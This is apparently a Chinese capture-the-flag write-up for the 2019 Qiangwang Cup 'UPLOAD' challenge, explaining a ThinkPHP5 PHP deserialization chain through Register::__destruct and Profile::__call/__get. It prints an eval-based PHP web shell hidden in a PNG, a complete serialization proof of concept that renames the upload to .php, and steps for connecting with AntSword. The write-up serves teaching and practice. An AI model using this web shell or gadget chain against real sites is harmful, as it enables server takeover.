题目链接:2019强网杯 UPLOAD
解题思路
打开靶场如下图所示,是一个注册和登录界面
那就注册登录一下,发现是一个提交头像的页面:
试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base64解码后能看到图片上传到的路径。
没发现什么有用的信息,试着扫扫目录,扫出来一个www.tar.gz文件,下载下来看一眼
(此处吐槽:用dirsearch.py扫了三次都没扫出来,用dirmap也没扫出来,最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试,结果里面本来就有,再扫就扫出来了,我不理解…)
那就下载下来看看,(这里下载下来的压缩文件在kali里解压不了,拿出来到360压缩却能成功解压,360真的很神奇)是ThinkPhp5框架编写的项目源码
该框架下核心代码一般都在application/web/controller
目录下,审阅代码发现Index.php
和Register.php
文件下有两个断点,应该是作者的Hint(提示),详情如下:
Index.php:
断点打在login_check
方法中,且访问大部分页面都会调用该方法,该方法先从cookie中获取用户信息,并将该信息反序列化,随后到数据库中查找比对相关信息是否一致
Register.php:
断点打在改Register类的析构方法__destruct()
中,该方法在对象被销毁时调用,该析构方法内的语句意思是:如果没有注册,则跳转到首页,这儿可能有点云里雾里,没关系,Register类的详情我们在文末详细分析。
此时已经有析构方法,反序列化,文件上传等线索,可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑,在application/web/controller.Profile.php
中:
Profile.php:
首先可以看到上传头像的方法upload_img()
,主要逻辑是:
先检查是否登录,没登陆则跳转首页;然后判断是否有文件,如果有文件,就将文件拓展名改为png;然后检查是否为正常可显示的图片,如果是,就将文件复制到目标路径下,并存储到数据库,否则报错。
再往下看,可以看到Profile类也有两个魔术方法:__get()
和__call()
,分别编写了在调用不可调用的成员变量和调用不可调用的方法时应该怎么做:
__get ($name):
当调用不可调用的成员变量(例如私有变量)或不存在的变量时,会从自身的except变量数组里查找返回
__call($name,$arguments):
当调用不可调用的方法(例如私有方法)或不存在的方法时,判断是否有name的属性,如果有,以name的值为方法名尝试调用该方法
以上所有的魔术方法都会在本题中发挥重要作用!!!!!!!!
至此,根据我们搜集到的信息,我们可以利用index.php
里的login_check()
方法内的反序列化漏洞,伪造一个cookie,反序列化出一个我们制造的对象,通过自定义对象的属性值,来进行后续操作。(大致思路)
这里我们的思路是:
1、构造一个图片马,注册一个新号上传上去,并记录下该文件的具体位置
2、构造一个对象(构造什么对象?我们后续详细操作步骤来探讨),利用反序列化与魔术方法将文件后缀修改为.php
3、利用蚁剑连接,获取flag
那么接下来就开始操作吧!
1、构造图片马并上传
我们直接保存百度的logo,然后用notepad++打开,在末尾嵌入<?php @eval($_POST["password"]);?>
一句话木马,此处的"password"就是蚁剑的连接密码
上传之后我们通过查看cookie记住文件的存储位置:
eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png
注意: 此处的一句话木马如果上传上去连接提示返回值为空,可能存在以下问题:
- POST没有大写
<?php @eval($_POST["password"]);?>
要双引号,单引号可能导致解析失败- 一句话木马书写有误
- 蚁剑编码器解码器都选择base64
2、构造对象,利用反序列化调用魔术方法修改文件后缀为php
我们要构造一个什么对象?要明白这个问题,我们要回到反序列化的源头index.php
文件的login_check()
方法(请大家自行查看源码,篇幅原因这里不再贴出),可以看到此方法在反序列化对象之后,程序没有任何地方调用过该对象的成员属性和成员方法(用phpstorm看),因此,唯一能发挥作用的只有之前提到过的__destruct()
方法,在对象销毁时调用。
在本题中,只有Register
类有该魔术方法,因此,我们要构造的就是Register
类的对象:
class Register{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$register = new Register();
$register->registed = false;
再来看该魔术方法的逻辑,想要通过判断,应有registed = false
,然后它调用了成员变量checker
的inedx()
方法,该方法是Index.php
中Index
类下的,发现如果正常调用,没有什么地方有漏洞。这个应该想到魔术方法__call()
了,它在调用不可调用或者不存在的方法时被调用,该魔术方法在Profile
类中,且该类并没有index()
方法,因此,我们可以确定,变量checker
的值,就是Profile
类的对象。
为此我们还应该实例化一个Profile
类:
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
$profile = new Profile();
$register->checker = $profile;
承接上述逻辑,当调用profile
对象的index()
方法,然该方法不存在,则转而调用魔术方法并传入参数:__call("index")
方法,此时,会检查profile
对象中有没有index
这个属性,显然是没有的,那么调用不存在的属性时,就会调用__get()
方法,从except
数组中查找以index
为键查找对应的值A
,并调用profile
对象中以属性A
的值为名称的方法!!也就是说,我们可以以此方式调用Profile
对象中的任何函数!!!!!,查看源码发现,通过调用upload_img
方法,可以将文件从filename_tmp
复制到filename
处,并删除filename_tmp
文件,就可以实现文件名后缀修改为php
!!!
因此,在profile
对象属性构造上,可有如下:
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
现在可以调用upload_img()
方法了,通过查看源码发现前两个if
不给checker
赋值,不上传文件,即可绕过,最后一个if
需要ext
不为空,通过修改filename_tmp
和filename
的值,即可实现文件名和后缀的修改,属性赋值如下:
注意:(这里的文件路径加了/public,是因为Profile类的构造函数会加public,而我们的反序列化不会调用构造函数,所以需要我们手动加上去)
$profile->ext = "png";//过if必须参数,=true也可以
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";
最后还要加上命名空间namespace
,位置和源码的Register
类一致app\web\controller
,用来说明这个类来自哪里,不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register
对象即可。
整理代码如下所示:
namespace app\web\controller;
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
运行这段代码(POC),得到Cookie,利用Hackbar插件将cookie发送到靶机,然后出现如下页面
让我们访问.php文件看看修改成功没有,发现访问成功!
3、连接蚁剑,获取flag
url处输入我们图片马的链接,密码是一句话木马的参数名,连接成功~,然后在根目录下找到flag文件提交即可。
源码审计详解
1、Index.php
<?php
namespace app\web\controller;//定义命名空间,表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类
class Index extends Controller//Index类继承th5的Controller类
{
public $profile;//会话中的用户信息
public $profile_db;//数据库中的用户信息
//index是默认的控制器方法,用来处理用户访问主页的请求
public function index()
{
//检查是否登录,如果已登录则重定向到home方法
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//构建重定向的URL
$this->redirect($curr_url,302);//执行重定向,并返回302状态码(临时重定向)
exit();//终止脚本执行
}
return $this->fetch("index");//如果用户未登录,则返回index视图
}
//home方法用于处理用户访问主页后的逻辑
public function home(){
//如果未登录
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index方法
$this->redirect($curr_url,302);//执行重定向,并返回302状态码
exit();//终止程序执行
}
//如果用户没有上传图片
if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);//调用tp5框架的assign方法,将username分配到视图上显示
return $this->fetch("upload");//返回上传图片的视图
}else{ //如果用户上传了图片
$this->assign("img",$this->profile_db['img']);//将img分配到视图上显示
$this->assign("username",$this->profile_db['username']);//将username分配到视图上显示
return $this->fetch("home");//返回home视图
}
}
//用于检查用户是否登录
public function login_check(){
$profile=cookie('user');//获取cookie中的用户信息
//cookie中用户信息非空
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));//解码反序列化用户信息
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//从数据库中查询用户信息
//如果数据库的用户信息与cookie中一致,则返回1,否则返回0
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
//检查用户是否上传了图片
public function check_upload_img(){
//如果cookie中用户信息非空,且,数据库用户信息非空
if(!empty($this->profile) && !empty($this->profile_db)){
//如果数据库中img字段为空,返回0,否则返回1
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
}
//用于处理用户注销
public function logout(){
cookie("user",null);//设置cookie为null
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图
$this->redirect($curr_url,302);//执行重定向,并返回302状态码
exit();//终止程序执行
}
//魔术方法,当调用不可调用或不存在的属性时调用,返回一个空字符串。
public function __get($name)
{
return "";
}
}
2、Register.php
<?php
namespace app\web\controller;
use think\Controller;
class Register extends Controller
{
public $checker;
public $registed;
//构造方法,初始化register对象时调用
public function __construct()
{
$this->checker=new Index(); //实例化一个Index对象赋值给checker
}
//处理用户的注册方法
public function register()
{
//如果checker非空
if ($this->checker) {
//调用起login_check()方法检查用户书否登录,如果登录
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//重定向到home视图
$this->redirect($curr_url,302);//执行重定向,发送302状态码
exit();//中断脚本执行
}
}
//从POST请求中获取'username'、'email'和'password'进行输入校验
//如果都不为空
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
//input是tp5的函数
$email = input("post.email", "", "addslashes");//调用addslashes函数对mail中的特殊字符进行转义
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
//如果邮箱检测合法
if($this->check_email($email)) {
//如果数据库内内没有相同用户名或邮箱的用户
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];//构建userinfo数组
//向数据库中新增用户,如果成功
if (db("user")->insert($user_info)) {
$this->registed = 1;//设置已注册标记
$this->success('Registed successful!', url('../index'));//利用tp5的success方法跳转到成功页面
} else {//新增用户失败则跳转到注册失败页面
$this->error('Registed failed!', url('../index'));
}
} else {//如果数据库中存在同用户名或邮箱用户,提示用户已存在
$this->error('Account already exists!', url('../index'));
}
}else{//如果邮箱验证错误,提示邮箱无效
$this->error('Email illegal!', url('../index'));
}
} else {//如果post参数有误,提示有空值
$this->error('Something empty!', url('../index'));
}
}
//检查邮箱是否合法
public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";//构建正则表达式
preg_match($pattern, $email, $matches);//利用该函数进行匹配
if(empty($matches)){//匹配失败返回0
return 0;
}else{//否则返回1
return 1;
}
}
//魔术方法,在对象销毁时调用
public function __destruct()
{
如果已注册
if(!$this->registed){
//调用checker的index()方法返回主页
$this->checker->index();
}
}
}
3、Profile.php
<?php
namespace app\web\controller;
use think\Controller;
class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
//构造函数
public function __construct()
{
$this->checker=new Index();//实例化一个Index对象给checker
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//使用客户端的IP地址生产一个MD5值,作为上传目录的名称
@chdir("../public/upload");//切换相对目录,如果没有该目录则创建
//如果当前没有该上传目录,则新建一个
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);//切换到上传目录
}
//上传头像方法
public function upload_img(){
//检查checker对象是否存在
if($this->checker){
//如果存在,调用其login_check方法检查是否登录,如果未登录
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图
$this->redirect($curr_url,302);
exit();
}
}
//如果上传文件非空
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取文件在服务器上的临时文件路径
$this->filename=md5($_FILES['upload_file']['name']).".png";//获取文件的原始名称,并进行md5编码
$this->ext_check();//检查文件扩展名是否合法
}
//如果ext非空
if($this->ext) {
//如果文件时有效图像
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);//将文件复制到filename处
@unlink($this->filename_tmp);//删除临时文件
$this->img="../upload/$this->upload_menu/$this->filename";//编辑img的存储地址
$this->update_img();//更新图片
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
//更新图片
public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();//从数据库查询用户信息
//如果用户没有头像,且当前图像存在
if(empty($user_info['img']) && $this->img){
//更新用户数据库中的头像信息
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();//更新cookie
$this->success('Upload img successful!', url('../home'));//返回访问成功
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}
//更细cookie
public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}
//拓展名检查
public function ext_check(){
$ext_arr=explode(".",$this->filename);//yi.分割ffilename为数组
$this->ext=end($ext_arr);//获取数组最后一个元素
if($this->ext=="png"){//如果是png返回1,否则返回0
return 1;
}else{
return 0;
}
}
//魔术方法,访问不存在的变量或不可访问的变量时调用
public function __get($name)
{
return $this->except[$name];//从except数组中找
}
‘
//魔术方法,当调用不可调用的方法或不存在的方法时调用
public function __call($name, $arguments)
{
//看看是否有该变量
if($this->{$name}){
//如果有,调用以该变量的值为名称的函数
$this->{$this->{$name}}($arguments);
}
}
}
碎片知识补充
1、文件下载
比如这题的www.tar.gz
文件,可以通过浏览器直接访问下载,也可以通过linux命令下载:
wget [url] -o [要保存位的文件名]
curl -o [要保存位的文件名] [url]